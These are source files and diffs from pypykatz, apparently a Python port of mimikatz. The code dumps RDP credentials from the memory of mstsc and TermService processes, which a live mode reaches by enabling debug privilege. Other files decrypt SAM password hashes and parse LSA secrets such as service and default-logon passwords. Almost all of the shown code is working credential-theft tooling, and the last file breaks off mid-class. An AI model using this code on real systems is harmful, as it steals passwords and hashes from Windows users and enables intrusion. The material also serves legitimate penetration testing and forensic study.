66 | memory_segments = reader.get_memory() | |
67 | ||
68 | #x = self.reader.find_all_global(self.decryptor_template.signature) | |
69 | for ms in memory_segments: | |
70 | x = ms.search(self.decryptor_template.signature, handler) | |
71 | ||
72 | for addr in x: | |
73 | self.reader.move(addr) | |
74 | properties = self.decryptor_template.properties_struct(self.reader) | |
75 | if properties.unkh0 == int(0xdbcaabcd): | |
76 | if properties.unkd1 >= 10 and properties.unkd1 < 500: | |
77 | if properties.cbProperties >= 10 and properties.cbProperties < 500: | |
78 | if properties.pProperties.value: | |
79 | """ | |
80 | logger.debug("========TS_PROPERTIES_KIWI=========") | |
81 | logger.debug("unkh0 = {}".format(hex(properties.unkh0))) | |
82 | logger.debug("unkd0 = {}".format(hex(properties.unkd0))) | |
83 | logger.debug("unkp2 = {}".format(hex(properties.unkp2))) | |
84 | logger.debug("unkd1 = {}".format(properties.unkd1)) | |
85 | logger.debug("unkp3 = {}".format(hex(properties.unkp3))) | |
86 | logger.debug("pProperties = {}".format(hex(properties.pProperties.value))) | |
87 | logger.debug("cbProperties = {}".format(properties.cbProperties)) | |
88 | logger.debug("===================================") | |
89 | """ | |
90 | try: | |
91 | self.reader.move(properties.pProperties.value) | |
92 | cred = RDPCredential() | |
93 | ||
94 | for i in range(properties.cbProperties): | |
95 | property = self.decryptor_template.property_struct(self.reader) | |
96 | ||
97 | if property.szProperty and property.dwType > 0 and property.dwType < 20: | |
98 | """ | |
99 | logger.debug("========TS_PROPERTY_KIWI=========") | |
100 | logger.debug("szProperty = {}".format(hex(property.szProperty))) | |
101 | logger.debug("dwType = {}".format(property.dwType)) | |
102 | logger.debug("pvData = {}".format(hex(property.pvData))) | |
103 | logger.debug("unkp0 = {}".format(property.unkp0)) | |
104 | logger.debug("unkd0 = {}".format(property.unkd0)) | |
105 | logger.debug("dwFlags = {}".format(property.dwFlags)) | |
106 | logger.debug("unkd1 = {}".format(property.unkd1)) | |
107 | logger.debug("unkd2 = {}".format(property.unkd2)) | |
108 | logger.debug("pValidator = {}".format(hex(property.pValidator))) | |
109 | logger.debug("unkp2 = {}".format(property.unkp2)) | |
110 | logger.debug("unkp3 = {}".format(property.unkp3)) | |
111 | logger.debug("=================================") | |
112 | """ | |
113 | current_addr = self.reader.tell() | |
114 | try: | |
115 | self.reader.move(property.szProperty) | |
116 | chunck = self.reader.read(1024) | |
117 | string = self.find_string(chunck) | |
118 | marker = string.find(b'\x00') | |
119 | if marker > 0: | |
120 | string = string[:marker] | |
121 | szProperty = string.decode('utf-8') | |
122 | ||
123 | szProperties = ["ServerName", "ServerFqdn", "ServerNameUsedForAuthentication", "UserSpecifiedServerName", "UserName", "Domain", "Password", "SmartCardReaderName", "RDmiUsername", "PasswordContainsSCardPin"] | |
124 | if szProperty in szProperties: | |
125 | value = '' | |
126 | if property.dwType == 3: | |
127 | value = "TRUE" if property.pvData else "FALSE" | |
128 | #print("{:<35s}\t[bool] {}".format(szProperty, "TRUE" if property.pvData else "FALSE")) | |
129 | ||
130 | if property.dwType == 4: | |
131 | self.reader.move(property.pvData) | |
132 | chunck = self.reader.read(1024) | |
133 | string = self.find_string(chunck) | |
134 | value = string.decode('utf-16-le') | |
135 | #print("{:<35s}\t[wstring] '{}'".format(szProperty, string.decode('utf-16-le'))) | |
136 | ||
137 | elif property.dwType == 6: | |
138 | if property.pvData and property.unkp2: | |
139 | self.reader.move(property.pvData) | |
140 | chunck = self.reader.read(property.unkp2) | |
141 | if property.dwFlags & 0x800: | |
142 | #print("{:<35s}\t[protect] {} (length = {})".format(szProperty, chunck, property.unkp2)) | |
143 | if self.process is None: | |
144 | value = chunck | |
145 | else: | |
146 | value = self.process.dpapi_memory_unprotect(property.pvData, property.unkp2, 0) | |
147 | if len(value) > 4: | |
148 | value = value[4:] | |
149 | else: | |
150 | #print("{:<35s}\t[unprotect] {} (length = {})".format(szProperty, chunck, property.unkp2)) | |
151 | value = chunck | |
152 | ||
153 | if value is None: | |
154 | value = b'' | |
155 | if szProperty == "ServerName": | |
156 | cred.servername = value | |
157 | elif szProperty == "ServerFqdn": | |
158 | cred.serverfqdn = value | |
159 | elif szProperty == "UserName": | |
160 | cred.username = value | |
161 | elif szProperty == "Domain": | |
162 | cred.domainname = value | |
163 | elif szProperty == "Password" and (property.dwFlags & 0x800): | |
164 | cred.password_raw = value | |
165 | if self.process is None: | |
166 | cred.password = '' | |
167 | cred.isencrypted = True | |
168 | else: | |
169 | cred.password = cred.password_raw.decode('utf-16-le').rstrip('\x00') | |
170 | cred.isencrypted = False | |
171 | elif szProperty == "Password": | |
172 | cred.password_raw = value | |
173 | cred.password = value.decode('utf-16-le') | |
174 | cred.isencrypted = False | |
175 | ||
176 | except Exception as e: # Memory address not in process memory space | |
177 | logger.debug("Error: {}".format(e)) | |
178 | self.reader.move(current_addr) | |
179 | ||
180 | if cred.username: | |
181 | self.credentials.append(cred) | |
182 | if self.find_first: | |
183 | return | |
184 | ||
185 | except Exception as e: # Memory address not in process memory space | |
186 | logger.debug("Error: {}".format(e)) | |
187 | ||
188 | ||
189 | def start(self, chunksize=10*1024): | |
190 | #x = self.reader.find_all_global(self.decryptor_template.signature) | |
191 | self.find_entries(chunksize) | |
192 | if not len(self.credentials): | |
193 | logger.debug('No RDP credentials found!') | |
194 | ||
195 | ||
196 | class RDPCredentialDecryptorLogonpasswords: | |
197 | def __init__(self, process, reader, decryptor_template, sysinfo, find_first=False, lower_bound=0, upper_bound=-1): | |
198 | self.process = process | |
199 | self.reader = reader | |
200 | self.sysinfo = sysinfo | |
201 | self.decryptor_template = decryptor_template | |
202 | self.credentials = [] | |
203 | self.find_first = find_first | |
204 | self.lower_bound = lower_bound | |
205 | self.upper_bound = upper_bound | |
206 | ||
207 | def add_entry(self, rdpcred_entry): | |
208 | if hex(rdpcred_entry.unk1.value & 0xff010000) == hex(0x00010000): # mstscax & freerdp | |
209 | bIsCandidate = True | |
210 | elif not hex(rdpcred_entry.unk1.value & 0xffff0000): # rdesktop | |
211 | bIsCandidate = True | |
212 | else: | |
213 | bIsCandidate = False | |
214 | ||
215 | try: | |
216 | if bIsCandidate and rdpcred_entry.cbDomain <= 512 and rdpcred_entry.cbUsername <= 512 and rdpcred_entry.cbUsername > 0 and rdpcred_entry.cbPassword <= 512 and rdpcred_entry.cbPassword > 0: | |
217 | domainame = rdpcred_entry.Domain[:rdpcred_entry.cbDomain].decode('utf-16-le') | |
218 | username = rdpcred_entry.UserName[:rdpcred_entry.cbUsername].decode('utf-16-le') | |
219 | password_raw = rdpcred_entry.Password[:rdpcred_entry.cbPassword] | |
220 | ||
221 | if self.sysinfo.buildnumber >= WindowsMinBuild.WIN_10.value: | |
222 | if self.process is None: | |
223 | logger.debug('Credentials found but they are encrypted!') | |
224 | password_raw = rdpcred_entry.Password[:16 * math.ceil(rdpcred_entry.cbPassword/16)] | |
225 | password = '' | |
226 | isencrypted = True | |
227 | else: | |
228 | password_raw = self.process.dpapi_memory_unprotect(rdpcred_entry.Password_addr, rdpcred_entry.cbPassword, 0) | |
229 | password = password_raw.decode('utf-16-le').rstrip('\x00') | |
230 | isencrypted = False | |
231 | else: | |
232 | password = password_raw.decode('utf-16-le') | |
233 | password_raw = password_raw.split(b'\x00\x00')[0] + b'\x00' | |
234 | isencrypted = False | |
235 | ||
236 | cred = RDPCredential() | |
237 | cred.domainname = domainame | |
238 | cred.username = username | |
239 | cred.password = password | |
240 | cred.password_raw = password_raw | |
241 | cred.isencrypted = isencrypted | |
242 | self.credentials.append(cred) | |
243 | ||
244 | else: | |
245 | logger.debug('This RDPCred entry is garbage!') | |
246 | except Exception as e: | |
247 | logger.debug('RDP entry parsing error! Reason %s' % e) | |
248 | ||
249 | ||
250 | def start(self, chunksize=10*1024): | |
251 | reader = self.reader.get_reader() | |
252 | handler = reader.get_handler() | |
253 | memory_segments = reader.get_memory() | |
254 | ||
255 | if self.upper_bound == -1: | |
256 | self.upper_bound = len(memory_segments) | |
257 | ||
258 | for idx, ms in enumerate(memory_segments): | |
259 | if idx > self.lower_bound and idx < self.upper_bound: | |
260 | x = [] | |
261 | for signature in self.decryptor_template.signatures: | |
262 | x += ms.search(signature, handler) | |
263 | ||
264 | for addr in x: | |
265 | addr += self.decryptor_template.offset | |
266 | self.reader.move(addr) | |
267 | ||
268 | try: | |
269 | cred = self.decryptor_template.cred_struct(self.reader) | |
270 | except Exception as e: | |
271 | logger.debug('Reading error! (this can be normal here) %s' % str(e)) | |
272 | continue | |
273 | ||
274 | self.add_entry(cred) | |
275 | if len(self.credentials) > 0 and self.find_first: | |
276 | return | |
277 | ||
278 |
0 | ||
1 | from pypykatz.commons.common import KatzSystemArchitecture, WindowsBuild, WindowsMinBuild | |
2 | from pypykatz.commons.win_datatypes import POINTER, ULONG, \ | |
3 | KIWI_GENERIC_PRIMARY_CREDENTIAL, PVOID, DWORD, LUID, \ | |
4 | LSA_UNICODE_STRING, WORD | |
5 | from minidump.win_datatypes import PCWSTR | |
6 | from pypykatz.commons.common import hexdump | |
7 | ||
8 | class RDPCredsTemplate: | |
9 | def __init__(self): | |
10 | self.signatures = None | |
11 | self.signature = None | |
12 | ||
13 | self.cred_struct = None | |
14 | self.property_struct = None | |
15 | self.properties_struct = None | |
16 | ||
17 | @staticmethod | |
18 | def get_logonpasswords_template(sysinfo): | |
19 | template = RDPCredsTemplate() | |
20 | ||
21 | if sysinfo.buildnumber >= WindowsBuild.WIN_8.value: | |
22 | template.signatures = [b'\x00\x00\x00\x00\xbb\x47', b'\x00\x00\x00\x00\xf3\x47', b'\x00\x00\x00\x00\x3b\x01'] | |
23 | template.offset = 0 | |
24 | template.cred_struct = WTS_KIWI | |
25 | ||
26 | else: | |
27 | template.signatures = [b'\xc8\x00\x00\x00\xc8\x00\x00\x00'] | |
28 | template.offset = 16 | |
29 | template.cred_struct = WTS_KIWI_2008R2 | |
30 | ||
31 | return template | |
32 | ||
33 | @staticmethod | |
34 | def get_mstsc_template(): | |
35 | template = RDPCredsTemplate() | |
36 | ||
37 | template.signature = b'\xcd\xab\xca\xdb\x03' | |
38 | template.property_struct = TS_PROPERTY_KIWI | |
39 | template.properties_struct = TS_PROPERTIES_KIWI | |
40 | ||
41 | return template | |
42 | ||
43 | # See mimikatz/modules/kuhl_m_ts.h | |
44 | class PTS_PROPERTY_KIWI(POINTER): | |
45 | def __init__(self, reader): | |
46 | super().__init__(reader, TS_PROPERTY_KIWI) | |
47 | ||
48 | class TS_PROPERTY_KIWI: | |
49 | def __init__(self, reader): | |
50 | reader.align() | |
51 | self.szProperty = PCWSTR(reader).value | |
52 | self.dwType = DWORD(reader).value | |
53 | reader.align() | |
54 | self.pvData = PVOID(reader).value | |
55 | self.unkp0 = PVOID(reader).value | |
56 | self.unkd0 = DWORD(reader).value | |
57 | self.dwFlags = DWORD(reader).value | |
58 | self.unkd1 = DWORD(reader).value | |
59 | self.unkd2 = DWORD(reader).value | |
60 | self.pValidator = PVOID(reader).value | |
61 | self.unkp2 = PVOID(reader).value | |
62 | self.unkp3 = PVOID(reader).value | |
63 | ||
64 | class TS_PROPERTIES_KIWI: | |
65 | def __init__(self, reader): | |
66 | #self.unkp0 = PVOID(reader).value | |
67 | #self.unkp1 = PVOID(reader).value | |
68 | self.unkh0 = DWORD(reader).value # 0xdbcaabcd | |
69 | self.unkd0 = DWORD(reader).value # 3 | |
70 | self.unkp2 = PVOID(reader).value | |
71 | self.unkd1 = DWORD(reader).value # 45 | |
72 | reader.align() | |
73 | self.unkp3 = PVOID(reader).value | |
74 | reader.align() | |
75 | self.pProperties_addr = reader.tell() | |
76 | self.pProperties = PVOID(reader)#PTS_PROPERTY_KIWI(reader) | |
77 | self.cbProperties = DWORD(reader).value | |
78 | ||
79 | class WTS_KIWI: | |
80 | def __init__(self, reader): | |
81 | self.unk0 = DWORD(reader) | |
82 | self.unk1 = DWORD(reader) | |
83 | self.cbDomain = WORD(reader).value | |
84 | self.cbUsername = WORD(reader).value | |
85 | self.cbPassword = WORD(reader).value | |
86 | self.unk2 = DWORD(reader) | |
87 | self.Domain = reader.read(512) | |
88 | self.UserName = reader.read(512) | |
89 | self.Password_addr = reader.tell() | |
90 | self.Password = reader.read(512) | |
91 | ||
92 | class WTS_KIWI_2008R2: | |
93 | def __init__(self, reader): | |
94 | self.unk0 = DWORD(reader) | |
95 | self.unk1 = DWORD(reader) | |
96 | self.cbDomain = WORD(reader).value + 511 #making it compatible with the other version. this is probably a bool? | |
97 | self.cbUsername = WORD(reader).value + 511 | |
98 | self.cbPassword = WORD(reader).value + 511 | |
99 | self.unk2 = DWORD(reader) | |
100 | self.Domain = reader.read(512) | |
101 | self.UserName = reader.read(512) | |
102 | self.Password_addr = reader.tell() | |
103 | self.Password = reader.read(512)⏎ |
0 | ||
1 | import platform | |
2 | from pypykatz import logger | |
3 | from minidump.minidumpfile import MinidumpFile | |
4 | from pypykatz.commons.common import KatzSystemInfo | |
5 | from pypykatz.rdp.packages.creds.templates import RDPCredsTemplate | |
6 | from pypykatz.rdp.packages.creds.decryptor import RDPCredentialDecryptorLogonpasswords, RDPCredentialDecryptorMstsc | |
7 | ||
8 | class RDPCredParser: | |
9 | def __init__(self, process, reader, sysinfo, rdp_module, find_first=False, lower_bound=0, upper_bound=-1): | |
10 | self.process = process | |
11 | self.reader = reader | |
12 | self.sysinfo = sysinfo | |
13 | self.credentials = [] | |
14 | self.rdp_module = rdp_module | |
15 | self.find_first = find_first | |
16 | self.lower_bound = lower_bound | |
17 | self.upper_bound = upper_bound | |
18 | ||
19 | @staticmethod | |
20 | def go_live(pid = None, all_rdp = False, live_rdp_module = None): | |
21 | if platform.system() != 'Windows': | |
22 | raise Exception('Live parsing will only work on Windows') | |
23 | from pypykatz.commons.readers.local.common.live_reader_ctypes import OpenProcess, PROCESS_ALL_ACCESS | |
24 | from pypykatz.commons.winapi.machine import LiveMachine | |
25 | from pypykatz.commons.winapi.constants import PROCESS_VM_READ , PROCESS_VM_WRITE , PROCESS_VM_OPERATION , PROCESS_QUERY_INFORMATION , PROCESS_CREATE_THREAD | |
26 | from pypykatz.commons.readers.local.common.privileges import enable_debug_privilege | |
27 | from pypykatz.commons.readers.local.live_reader import LiveReader | |
28 | from pypykatz.commons.readers.local.process import Process | |
29 | req_access_rights = PROCESS_VM_READ | PROCESS_VM_WRITE | PROCESS_VM_OPERATION | PROCESS_QUERY_INFORMATION | PROCESS_CREATE_THREAD | |
30 | ||
31 | enable_debug_privilege() | |
32 | targets = [] | |
33 | ||
34 | if pid is not None: | |
35 | process = Process(pid=pid, access = req_access_rights ) | |
36 | process.list_modules() | |
37 | reader = LiveReader(process_handle=process.phandle) | |
38 | sysinfo = KatzSystemInfo.from_live_reader(reader) | |
39 | targets.append(RDPCredParser(process, reader.get_buffered_reader(), sysinfo, live_rdp_module)) | |
40 | ||
41 | else: | |
42 | machine = LiveMachine() | |
43 | ||
44 | if live_rdp_module == "logonpasswords" and all_rdp is False: | |
45 | for service_name, display_name, pid in machine.list_services(): | |
46 | if service_name == 'TermService': | |
47 | process = Process(pid=pid, access = req_access_rights ) | |
48 | reader = LiveReader(process_handle=process.phandle) | |
49 | sysinfo = KatzSystemInfo.from_live_reader(reader) | |
50 | targets.append(RDPCredParser(process, reader.get_buffered_reader(), sysinfo, live_rdp_module)) | |
51 | ||
52 | if live_rdp_module == "mstsc" and all_rdp is False: | |
53 | for pid in machine.list_all_pids(): | |
54 | try: | |
55 | process = Process(pid=pid, access = req_access_rights ) | |
56 | for module in process.list_modules(): | |
57 | if module.name.lower().find("mstscax.dll") != -1: | |
58 | reader = LiveReader(process_handle=process.phandle) | |
59 | sysinfo = KatzSystemInfo.from_live_reader(reader) | |
60 | targets.append(RDPCredParser(process, reader.get_buffered_reader(), sysinfo, live_rdp_module)) | |
61 | break | |
62 | except Exception as e: | |
63 | #import traceback | |
64 | #traceback.print_exc() | |
65 | pass | |
66 | if len(targets): | |
67 | break | |
68 | ||
69 | if all_rdp is True: | |
70 | for pid in machine.list_all_pids(): | |
71 | try: | |
72 | process = Process(pid=pid, access = req_access_rights ) | |
73 | for module in process.list_modules(): | |
74 | if module.name.lower().find("mstscax.dll") != -1 or module.name.lower().find("rdpcorets.dll") != -1: | |
75 | reader = LiveReader(process_handle=process.phandle) | |
76 | sysinfo = KatzSystemInfo.from_live_reader(reader) | |
77 | targets.append(RDPCredParser(process, reader.get_buffered_reader(), sysinfo, live_rdp_module)) | |
78 | break | |
79 | except Exception as e: | |
80 | #import traceback | |
81 | #traceback.print_exc() | |
82 | print(e) | |
83 | ||
84 | for target in targets: | |
85 | target.start() | |
86 | return targets | |
87 | ||
88 | @staticmethod | |
89 | def parse_minidump_file(filename, rdp_module, chunksize = 10*1024): | |
90 | try: | |
91 | minidump = MinidumpFile.parse(filename) | |
92 | reader = minidump.get_reader().get_buffered_reader(segment_chunk_size=chunksize) | |
93 | sysinfo = KatzSystemInfo.from_minidump(minidump) | |
94 | except Exception as e: | |
95 | logger.exception('Minidump parsing error!') | |
96 | raise e | |
97 | try: | |
98 | mimi = RDPCredParser(None, reader, sysinfo, rdp_module) | |
99 | mimi.start() | |
100 | except Exception as e: | |
101 | logger.info('Credentials parsing error!') | |
102 | raise e | |
103 | return [mimi] | |
104 | ||
105 | def rdpcreds(self): | |
106 | if self.rdp_module == "logonpasswords": | |
107 | decryptor_template = RDPCredsTemplate.get_logonpasswords_template(self.sysinfo) | |
108 | decryptor = RDPCredentialDecryptorLogonpasswords(self.process, self.reader, decryptor_template, self.sysinfo, find_first=self.find_first, lower_bound=self.lower_bound, upper_bound=self.upper_bound) | |
109 | else: # mstsc | |
110 | decryptor_template = RDPCredsTemplate.get_mstsc_template() | |
111 | decryptor = RDPCredentialDecryptorMstsc(self.process, self.reader, decryptor_template, self.sysinfo, find_first=self.find_first) | |
112 | ||
113 | decryptor.start() | |
114 | ||
115 | for cred in decryptor.credentials: | |
116 | self.credentials.append(cred) | |
117 | ||
118 | def start(self): | |
119 | self.rdpcreds()⏎ |
40 | 40 | await self.sam.get_secrets() |
41 | 41 | |
42 | 42 | if self.security_hive: |
43 | self.security = SECURITY(self.security_hive, bootkey) | |
43 | self.security = SECURITY(self.security_hive, bootkey, self.system) | |
44 | 44 | await self.security.get_secrets() |
45 | 45 | |
46 | 46 | if self.software_hive: |
48 | 48 | await self.software.get_default_logon() |
49 | 49 | |
50 | 50 | def to_file(self, file_path, json_format = False): |
51 | with open(file_path, 'w', newline = '') as f: | |
51 | with open(file_path, 'a', newline = '') as f: | |
52 | 52 | if json_format == False: |
53 | 53 | f.write(str(self)) |
54 | 54 | else: |
3 | 3 | # Tamas Jos (@skelsec) |
4 | 4 | # |
5 | 5 | |
6 | import os | |
7 | 6 | import json |
8 | import glob | |
9 | import ntpath | |
10 | 7 | import traceback |
11 | 8 | |
12 | from pypykatz import logging | |
9 | from pypykatz import logger | |
13 | 10 | from pypykatz.commons.common import UniversalEncoder |
14 | 11 | |
15 | 12 | |
55 | 52 | lr = LiveRegistry.go_live() |
56 | 53 | except Exception as e: |
57 | 54 | traceback.print_exc() |
58 | logging.debug('Failed to obtain registry secrets via direct registry reading method. Reason: %s' % str(e)) | |
55 | logger.debug('Failed to obtain registry secrets via direct registry reading method. Reason: %s' % str(e)) | |
59 | 56 | try: |
60 | 57 | from pypykatz.registry.offline_parser import OffineRegistry |
61 | 58 | lr = OffineRegistry.from_live_system() |
62 | 59 | except Exception as e: |
63 | logging.debug('Failed to obtain registry secrets via filedump method') | |
60 | logger.debug('Failed to obtain registry secrets via filedump method') | |
64 | 61 | |
65 | 62 | if lr is not None: |
66 | 63 | self.process_results(lr, args) |
78 | 78 | pass |
79 | 79 | |
80 | 80 | def to_file(self, file_path, json_format = False): |
81 | with open(file_path, 'w', newline = '') as f: | |
81 | with open(file_path, 'a', newline = '') as f: | |
82 | 82 | if json_format == False: |
83 | 83 | f.write(str(self)) |
84 | 84 | else: |
40 | 40 | self.sam.get_secrets() |
41 | 41 | |
42 | 42 | if self.security_hive: |
43 | self.security = SECURITY(self.security_hive, bootkey) | |
43 | self.security = SECURITY(self.security_hive, bootkey, self.system) | |
44 | 44 | self.security.get_secrets() |
45 | 45 | |
46 | 46 | if self.software_hive: |
57 | 57 | pass |
58 | 58 | |
59 | 59 | def to_file(self, file_path, json_format = False): |
60 | with open(file_path, 'w', newline = '') as f: | |
60 | with open(file_path, 'a', newline = '') as f: | |
61 | 61 | if json_format == False: |
62 | 62 | f.write(str(self)) |
63 | 63 | else: |
2 | 2 | # Author: |
3 | 3 | # Tamas Jos (@skelsec) |
4 | 4 | # |
5 | import hashlib | |
6 | import hmac | |
7 | import io | |
8 | from pypykatz.registry.sam.structures import * | |
9 | from pypykatz.crypto.RC4 import RC4 | |
10 | from pypykatz.crypto.aes import AESModeOfOperationCBC | |
11 | from pypykatz.crypto.des import des, expand_DES_key | |
12 | 5 | |
13 | ##### | |
14 | from pypykatz.registry.sam.structures import * | |
15 | from pypykatz.registry.sam.common import * | |
6 | from unicrypto import hashlib | |
7 | from unicrypto.symmetric import RC4, AES, MODE_CBC, expand_DES_key, DES | |
8 | ||
16 | 9 | from pypykatz.registry import logger |
17 | from pypykatz.commons.win_datatypes import SID | |
10 | from pypykatz.registry.sam.common import SAMSecret | |
11 | from pypykatz.registry.sam.structures import SAM_HASH, DOMAIN_ACCOUNT_F,\ | |
12 | SAM_KEY_DATA, SAM_KEY_DATA_AES, USER_ACCOUNT_V, SAM_HASH_AES | |
13 | ||
18 | 14 | |
19 | 15 | # |
20 | 16 | # The SAM hive holds the hashed passwords of the LOCAL machine users |
41 | 37 | |
42 | 38 | def decrypt_hash(self, rid, hashobj, constant): |
43 | 39 | key1, key2 = SAM.rid_to_key(rid) |
44 | des1 = des(key1) | |
45 | des2 = des(key2) | |
40 | des1 = DES(key1) | |
41 | des2 = DES(key2) | |
46 | 42 | |
47 | 43 | if isinstance(hashobj, SAM_HASH): |
48 | 44 | rc4key = hashlib.md5( self.hashed_bootkey[:0x10] + int(rid, 16).to_bytes(4, 'little', signed = False) + constant ).digest() |
50 | 46 | |
51 | 47 | else: |
52 | 48 | key = b'' |
53 | cipher = AESModeOfOperationCBC(self.hashed_bootkey[:0x10], iv = hashobj.salt) | |
49 | cipher = AES(self.hashed_bootkey[:0x10], MODE_CBC, IV = hashobj.salt) | |
54 | 50 | n = 16 |
55 | 51 | for block in [hashobj.data[i:i+n] for i in range(0, len(hashobj.data), n)]: #terrible, terrible workaround |
56 | 52 | key += cipher.decrypt(block) |
83 | 79 | |
84 | 80 | elif isinstance(domain_properties.key_0, SAM_KEY_DATA_AES): |
85 | 81 | self.hashed_bootkey = b'' |
86 | cipher = AESModeOfOperationCBC(self.bootkey, iv = domain_properties.key_0.salt) | |
82 | cipher = AES(self.bootkey, MODE_CBC, IV = domain_properties.key_0.salt) | |
87 | 83 | n = 16 |
88 | 84 | for block in [domain_properties.key_0.data[i:i+n] for i in range(0, len(domain_properties.key_0.data), n)]: #terrible, terrible workaround |
89 | 85 | self.hashed_bootkey += cipher.decrypt(block) |
2 | 2 | # Author: |
3 | 3 | # Tamas Jos (@skelsec) |
4 | 4 | # |
5 | import hashlib | |
6 | import hmac | |
7 | import io | |
8 | from pypykatz.registry.sam.structures import * | |
9 | from pypykatz.crypto.RC4 import RC4 | |
10 | from pypykatz.crypto.aes import AESModeOfOperationCBC | |
11 | from pypykatz.crypto.des import des, expand_DES_key | |
12 | 5 | |
13 | ##### | |
14 | from pypykatz.registry.sam.structures import * | |
15 | from pypykatz.registry.sam.common import * | |
6 | from unicrypto import hashlib | |
7 | from unicrypto.symmetric import RC4, AES, MODE_CBC, expand_DES_key, DES | |
8 | ||
16 | 9 | from pypykatz.registry import logger |
17 | from pypykatz.commons.win_datatypes import SID | |
10 | from pypykatz.registry.sam.common import SAMSecret | |
11 | from pypykatz.registry.sam.structures import SAM_HASH, DOMAIN_ACCOUNT_F,\ | |
12 | SAM_KEY_DATA, SAM_KEY_DATA_AES, USER_ACCOUNT_V, SAM_HASH_AES | |
18 | 13 | |
19 | 14 | # |
20 | 15 | # The SAM hive holds the hashed passwords of the LOCAL machine users |
41 | 36 | |
42 | 37 | def decrypt_hash(self, rid, hashobj, constant): |
43 | 38 | key1, key2 = SAM.rid_to_key(rid) |
44 | des1 = des(key1) | |
45 | des2 = des(key2) | |
39 | des1 = DES(key1) | |
40 | des2 = DES(key2) | |
46 | 41 | |
47 | 42 | if isinstance(hashobj, SAM_HASH): |
48 | 43 | rc4key = hashlib.md5( self.hashed_bootkey[:0x10] + int(rid, 16).to_bytes(4, 'little', signed = False) + constant ).digest() |
50 | 45 | |
51 | 46 | else: |
52 | 47 | key = b'' |
53 | cipher = AESModeOfOperationCBC(self.hashed_bootkey[:0x10], iv = hashobj.salt) | |
48 | cipher = AES(self.hashed_bootkey[:0x10], MODE_CBC, IV = hashobj.salt) | |
54 | 49 | n = 16 |
55 | 50 | for block in [hashobj.data[i:i+n] for i in range(0, len(hashobj.data), n)]: #terrible, terrible workaround |
56 | 51 | key += cipher.decrypt(block) |
82 | 77 | |
83 | 78 | elif isinstance(domain_properties.key_0, SAM_KEY_DATA_AES): |
84 | 79 | self.hashed_bootkey = b'' |
85 | cipher = AESModeOfOperationCBC(self.bootkey, iv = domain_properties.key_0.salt) | |
80 | cipher = AES(self.bootkey, MODE_CBC, IV = domain_properties.key_0.salt) | |
86 | 81 | n = 16 |
87 | 82 | for block in [domain_properties.key_0.data[i:i+n] for i in range(0, len(domain_properties.key_0.data), n)]: #terrible, terrible workaround |
88 | 83 | self.hashed_bootkey += cipher.decrypt(block) |
0 | #!/usr/bin/env python3 | |
1 | # | |
2 | # Author: | |
3 | # Tamas Jos (@skelsec) | |
4 | # | |
5 | ||
6 | from unicrypto.hashlib import md4 as MD4 | |
7 | from pypykatz.dpapi.structures.system import DPAPI_SYSTEM | |
8 | from pypykatz.commons.common import hexdump | |
9 | ||
10 | # | |
11 | # These classes used to "standardise" the different secrets that can be obtained from the SECURITY hive | |
12 | # The so-called LSA secrets can be of any format, therefore if the parser doesnt find an appropriate class for the secret | |
13 | # it will store the decrypted secret in raw bytes | |
14 | # | |
15 | # | |
16 | ||
17 | class LSASecret: | |
18 | def __init__(self,key_name, raw_secret, history = False): | |
19 | self.raw_secret = raw_secret | |
20 | self.key_name = key_name | |
21 | self.history = history | |
22 | ||
23 | @staticmethod | |
24 | async def process(key_name, raw_secret, history = False, system_hive = None): | |
25 | kn = key_name.upper() | |
26 | if len(raw_secret) == 0: | |
27 | return | |
28 | if raw_secret.startswith(b'\x00\x00'): | |
29 | return | |
30 | ||
31 | if kn.startswith('_SC_'): | |
32 | lss = LSASecretService(kn, raw_secret, history, system_hive) | |
33 | await lss.process_secret() | |
34 | ||
35 | elif kn.startswith('DEFAULTPASSWORD'): | |
36 | lss = LSASecretDefaultPassword(kn, raw_secret, history) | |
37 | lss.process_secret() | |
38 | ||
39 | elif kn.startswith('ASPNET_WP_PASSWORD'): | |
40 | lss = LSASecretASPNET(kn, raw_secret, history) | |
41 | lss.process_secret() | |
42 | ||
43 | elif kn.startswith('DPAPI_SYSTEM'): | |
44 | lss = LSASecretDPAPI(kn, raw_secret, history) | |
45 | lss.process_secret() | |
46 | ||
47 | elif kn.startswith('$MACHINE.ACC'): | |
48 | lss = LSASecretMachineAccount(kn, raw_secret, history) | |
49 | lss.process_secret() | |
50 | ||
51 | else: | |
52 | lss = LSASecret(kn, raw_secret, history) | |
53 | ||
54 | return lss | |
55 | ||
56 | def __str__(self): | |
57 | return '=== LSASecret %s ===\r\n' % self.key_name + '\r\nHistory: %s' % self.history + '\r\nSecret: \r\n' + hexdump(self.raw_secret) | |
58 | ||
59 | def to_dict(self): | |
60 | t = {} | |
61 | t['type'] = 'LSASecret' | |
62 | t['key_name'] = self.key_name | |
63 | t['history'] = self.history | |
64 | t['raw_secret'] = self.raw_secret | |
65 | return t | |
66 | ||
67 | class LSASecretService(LSASecret): | |
68 | def __init__(self, key_name, raw_secret, history, system_hive = None): | |
69 | LSASecret.__init__(self, key_name, raw_secret, history) | |
70 | self.system_hive = system_hive | |
71 | self.service = None | |
72 | self.username = None | |
73 | self.secret = None | |
74 | ||
75 | async def process_secret(self): | |
76 | try: | |
77 | self.secret = self.raw_secret.decode('utf-16-le') | |
78 | except: | |
79 | self.secret = self.raw_secret.hex() | |
80 | else: | |
81 | #here you may implement a mechanism to fetch the service user's name | |
82 | #TODO | |
83 | self.service = self.key_name | |
84 | self.username = 'UNKNOWN' | |
85 | if self.system_hive is not None: | |
86 | self.username = await self.system_hive.get_service_user(self.key_name[4:]) | |
87 | ||
88 | def __str__(self): | |
89 | return '=== LSA Service User Secret ===\r\nHistory: %s\r\nService name: %s \r\nUsername: %s' % (self.history, self.service, self.username) + '\r\n' + hexdump(self.secret) | |
90 | ||
91 | def to_dict(self): | |
92 | t = {} | |
93 | t['type'] = 'LSASecretService' | |
94 | t['key_name'] = self.key_name | |
95 | t['history'] = self.history | |
96 | t['username'] = self.username | |
97 | t['secret'] = self.secret | |
98 | t['service'] = self.service | |
99 | return t | |
100 | ||
101 | ||
102 | class LSASecretDefaultPassword(LSASecret): | |
103 | def __init__(self, key_name, raw_secret, history): | |
104 | LSASecret.__init__(self, key_name, raw_secret, history) | |
105 | self.username = None | |
106 | self.secret = None | |
107 | ||
108 | def process_secret(self): | |
109 | try: | |
110 | self.secret = self.raw_secret.decode('utf-16-le') | |
111 | except: | |
112 | pass | |
113 | else: | |
114 | #here you may implement a mechanism to fetch the default logon user | |
115 | #TODO | |
116 | self.username = 'UNKNOWN' | |
117 | ||
118 | def __str__(self): | |
